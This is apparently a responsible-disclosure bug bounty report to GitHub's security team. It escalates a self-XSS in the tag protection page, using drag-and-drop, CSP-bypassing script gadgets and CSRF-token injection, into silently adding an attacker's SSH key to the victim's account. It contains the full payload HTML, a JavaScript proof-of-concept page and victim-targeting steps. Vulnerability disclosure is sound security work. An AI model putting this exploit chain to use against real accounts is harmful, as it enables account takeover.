Hey there,
My friend @ros876 found a self xss in https://github.com/<username>/<reponame>/settings/tag_protection/new and reached out to me to ease the exploitation process
.
Using a Drag and Drop poc , I was able to make the self xss work with a bit ease still it requires user interaction but it demonstrate that it's possible for an attacker to even exploit such self xss in clever ways.
Given a pattern like this <img src=>
will render an error like this
<img src=> is not a valid pattern
https://github.githubassets.com/assets/behaviors-d984747343bb.js:1:4000
n.addEventListener("auto-check-error", async e=>{
// strip ......
else {
let e = "DL" === r.tagName ? "dd" : "div"
, t = document.createElement(e);
t.id = a(),
t.classList.add("error"),
t.innerHTML = o || "Something went wrong", // o variable contains the response which contains the invalid pattern name too
Although there isn't any sanitization, we still weren't able to do anything due to very strict csp Github has enforced. We read the article on Github CSP journey in hope of finding a new bypass :p , but had to say Github took CSP really very seriously.
The CSP even takes care that even if an attacker manages to find a way to extract something they can't excfiltrate that to their controlled server this really restricts what an attacker could do even if he manages to get a full blown xss in Github
Some of the attempts we thought of trying but encouter the csp comes in b/w , auto-fill credentials steal even if we provide a similar looking Github page to make password managers autofill the creds we still won't be able to leak them to our controlled server due to the form-action
direction and even via css due to the strict whitelist.
Hi team!
I got asked to join in here to try to escalate this issue from a theoretical attack to a real one. I did not get past the CSP to gain full XSS, but I managed to use some script gadgets to send arbitrary POST requests with valid CSRF tokens. This would allow an attacker to perform most actions available in the UI, such as adding an SSH token to the victim's account or inviting the attacker to an organization owned by the victim.
There are three protections in play, as I can see in the UI.
- The CSP
- form-specific CSRF tokens (protecting against form hijacking and path traversal)
- session 'sudo mode'
The attack I found will not be blocked by CSP as it uses already existing JavaScript. It will also bypass the CSRF protection by injecting correct form elements. However, it will not bypass the 'sudo mode' restriction, so to work correctly, the victim's session must already be in this mode.
Using <turbo-frame>
and <turbo-stream>
elements together with data-replace-with
, it's possible to generate a "two click" arbitrary form injection that CSP will not block.
In the attack, <turbo-frame>
dynamically loads any form
needed (for example, the form to add a new SSH key). Rails will listen for any inserted turbo-frame
and fetch the requested form, and this form will contain the correct authorization-token
. We then use another temporary form with data-replace-with
that will inject a series of <turbo-stream>
elements into the DOM after the victim's first click.
Using turbo-streams
, the attacker can modify the input fields in the maliciously loaded form. The second click from the victim will then submit the form with attacker-controlled data.
The attacker is in full control of the HTML in the page and can thus make the form buttons cover the whole screen and look like something the user would more likely click.
These gadgets do prove a real impact of the initial bug, even if it comes with some restrictions. There might exist ways to remove some of these requirements (especially one should be able to reduce the "two clicks" to "one-click" given more research):
- To perform any really sensitive actions as the victim, the victim's session needs to be in "sudo mode"
- The victim needs to perform the drag-and-drop
- The victim needs to click anywhere on the page two times
- Make sure the victim session is in "sudo mode"
- Use the POC from the initial report, but replace the
xss
payload with this
<turbo-frame id="settings-frame" src="/settings/ssh/new"></turbo-frame>
<form target="my_iframe" method="POST">
<button id="hack" class="dark-backdrop position-fixed" type="submit" data-disable-with="<turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(2)"> <template> <input id=ssh_key_title class=form-control type=text name=ssh_key[title] value=hack /> </template> </turbo-stream><turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(4)"> <template> <textarea name=ssh_key[key]>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVB5bTikvFcVRYaqwdEmQ0PatO59ZWqCN3G0+fIFJtH</textarea> </template> </turbo-stream><turbo-stream action=replace targets="#settings-frame > form > p"> <template><button class="dark-backdrop position-fixed" type=submit><div style="height: 100%; width:100%;" class="color-bg-default d-flex flex-column flex-items-center flex-justify-center"><h1>One more time!</h1><img src=https://github.com/Gbug1/tag1/blob/main/tenor.gif?raw=true /></div></button> </template> </turbo-stream><turbo-stream action=replace target=hack> <template></template></turbo-stream>" ><div style="height: 100%; width:100%;" class="color-bg-default d-flex flex-column flex-items-center flex-justify-center"><h1>Click me again!</h1><img src=https://github.com/Gbug1/tag1/blob/main/tenor.gif?raw=true /></div>
</button>
</form><iframe hidden name=my_iframe></iframe>
Also, change the https://github.com/GROUP/REPO/settings/tag_protection/new
to a repo where you have invited the victim
2. Now visit the page, drag the cat to the home
3. When the page shows the cat again, click anywhere
4. Click anywhere again
5. You should now have a new SSH key on your account
<turbo-frame id="settings-frame" src="/settings/ssh/new"></turbo-frame>
will load the "add new SSH key" form into the page, containing a proper CSRF token
We have to wait for the turbo-frame
to load and thus need to wait with adding the turbo-stream
s to the DOM. This is the reason for the first click. We abuse the data-disable-with
attribute that allows us to add arbitrary HTML to the page when a form is submitted.
<form target="my_iframe" method="POST">
<button id="hack" class="SOME STYILING" type="submit" data-disable-with="HTML CONTENT">Full page button</button>
</form>
<!-- This is a temp iframe that we use to "catch the" form submission -->
<iframe hidden name=my_iframe></iframe>
After the disable-with
form is clicked, we add a series of turbo-streams
to the DOM. These will get picked up by Rails and executed one after another. We can use these streams to replace any elements on the page. Using these, we can add any content to the injected SSH form
<turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(2)">
<template>
<input id=ssh_key_title class=form-control type=text name=ssh_key[title] value=hack />
</template>
</turbo-stream>
<turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(4)">
<template>
<textarea name=ssh_key[key]>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVB5bTikvFcVRYaqwdEmQ0PatO59ZWqCN3G0+fIFJtH</textarea>
</template>
</turbo-stream>
<turbo-stream action=replace targets="#settings-frame > form > p">
<template>
<button class="dark-backdrop position-fixed" type=submit>
<div style="height: 100%; width:100%;" class="color-bg-default d-flex flex-column flex-items-center flex-justify-center">
<h1>One more time!</h1>
<img src=https://github.com/Gbug1/tag1/blob/main/tenor.gif?raw=true />
</div>
</button>
</template>
</turbo-stream>
<turbo-stream action=replace target=hack>
<template></template>
</turbo-stream>
This will update the injected form and generate a new full-screen button to submit the form.
The whole chain is still quite hard to pull off in an attack, but it proves that it is possible, and there might be other chains to build up using the same parts. I have just learned how this tech works.
Also, note that the initial issue is with the auto-check
behavior, and it might be used in other places in the UI where an attack is not as restricted.
Hope that this was interesting, and please reach out if you need any clarification!
Best regards Johan
Hi again!
I just managed to remove the need for the two extra clicks and could then also remove some boilerplate CSS. There are two more gadgets we can use to achieve this
First, a "navigation helper" that exists in sso.ts
(we can survive without this, but it makes things more smooth)
observe('.js-sso-modal-complete', function (el) {
if (window.opener && window.opener.external.ssoComplete) {
//.. bunch of stuff ..//
} else {
const fallback = el.getAttribute('data-fallback-url')
if (fallback) window.location.href = fallback
}
})
and then a "click helper" in github/behaviors/timeline/progressive.ts
hashChange(function () {
focusOrLoadElement()
})
function focusOrLoadElement(shouldLoadElement = true): void {
const anchor = urlAnchor()
if (!anchor) return
const target = document.getElementById(anchor)
if (target) {
focusElement(target)
} else {
// stuff
}
}
async function focusElement(element: HTMLElement): Promise<void> {
await mediaLoaded()
expandDetailsIfPresent(element)
const link = element.querySelector<HTMLElement>(`[href='#${element.id}']`)
if (link) {
const oldValue = link.getAttribute('data-turbo')
link.setAttribute('data-turbo', 'false')
link.click()
if (oldValue === null) {
link.removeAttribute('data-turbo')
} else {
link.setAttribute('data-turbo', oldValue)
}
}
}
Using these two and a "helper window" we can automate the two clicks. The updated POC page looks like this
<center>
<div id="drag" draggable="true">
<img width="180" height="180" src="https://media.tenor.com/images/8af08a3556c6e66f5ce88539183efd23/tenor.gif" id="nox">
</div>
<img width="180" height="180" src="https://i.imgur.com/JCgAjL2.png" id="home">
<h2 style="color:magenta">Drag the cute cat to his home, then click on Invite</h2>
</center>
<script>
var url = new URL(window.location)
var target = url.searchParams.get("target")
var xss = `<turbo-frame id="settings-frame" src="/settings/ssh/new"></turbo-frame>
<form target="my_iframe" method="POST"><a id=bbb><button href="#bbb" id="hack" type="submit" data-disable-with="<turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(2)"> <template> <input id=ssh_key_title class=form-control type=text name=ssh_key[title] value=hack /> </template> </turbo-stream><turbo-stream action=replace targets="#settings-frame > form > dl:nth-child(4)"> <template> <textarea name=ssh_key[key]>ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHVB5bTikvFcVRYaqwdEmQ0PatO59ZWqCN3G0+fIFJtH</textarea> </template> </turbo-stream><turbo-stream action=replace targets="#settings-frame > form > p"> <template><a id=aaa><button href="#aaa" type=submit>test</button> </template> </turbo-stream><turbo-stream action=replace target=hack> <template><input class=js-sso-modal-complete data-fallback-url="#aaa"></button></template></turbo-stream>" >test</button></a></form><iframe hidden name=my_iframe></iframe>`
var x = document.getElementById("drag");
x.addEventListener("dragstart", function(ev){
ev.dataTransfer.setData('text/plain', xss);
// Open up a helper window that will force some redirects
var popup = window.open(`https://joaxcar.com/gitlab/poc2.html?target=${target}`,'','width=,height=,resizable=no');
setTimeout(()=>{
location=(target)
},500)
});
</script>
The big difference is that I have updated the xss
payload, now wrapping the first button with the "click helper"
<a id=bbb><button href="#bbb" ... >test</button></a>
This is also done on the "inner payload"
<a id=aaa><button href="#aaa"></button></a>
<!-- And then the page navigation gadget
<input class=js-sso-modal-complete data-fallback-url="#aaa">
After this there is also a new "helper window"
var popup = window.open(`https://joaxcar.com/gitlab/poc2.html?target=${target}`,'','width=,height=,resizable=no');
That will pop up when starting to drag the cat image. This window is responsible for the first "hash change" after the initial page load and also for redirecting to another page after SSH key is added
setTimeout(()=>{window.opener.location=`${target}#bbb`},3000)
setTimeout(()=>{window.opener.location='https://joaxcar.com/gitlab/poc3.html'},5000)
You can test this whole flow using my POC page here
https://joaxcar.com/gitlab/poc.html?target=https://github.com/GROUP/REPO/settings/tag_protection/new
Replace the "target" in the URL with some Group and Repo your victim can access. I will also post the three pages as attachments. Here is a video of this new flow.
Note that there are no clicks made after dropping the payload in the tag text box.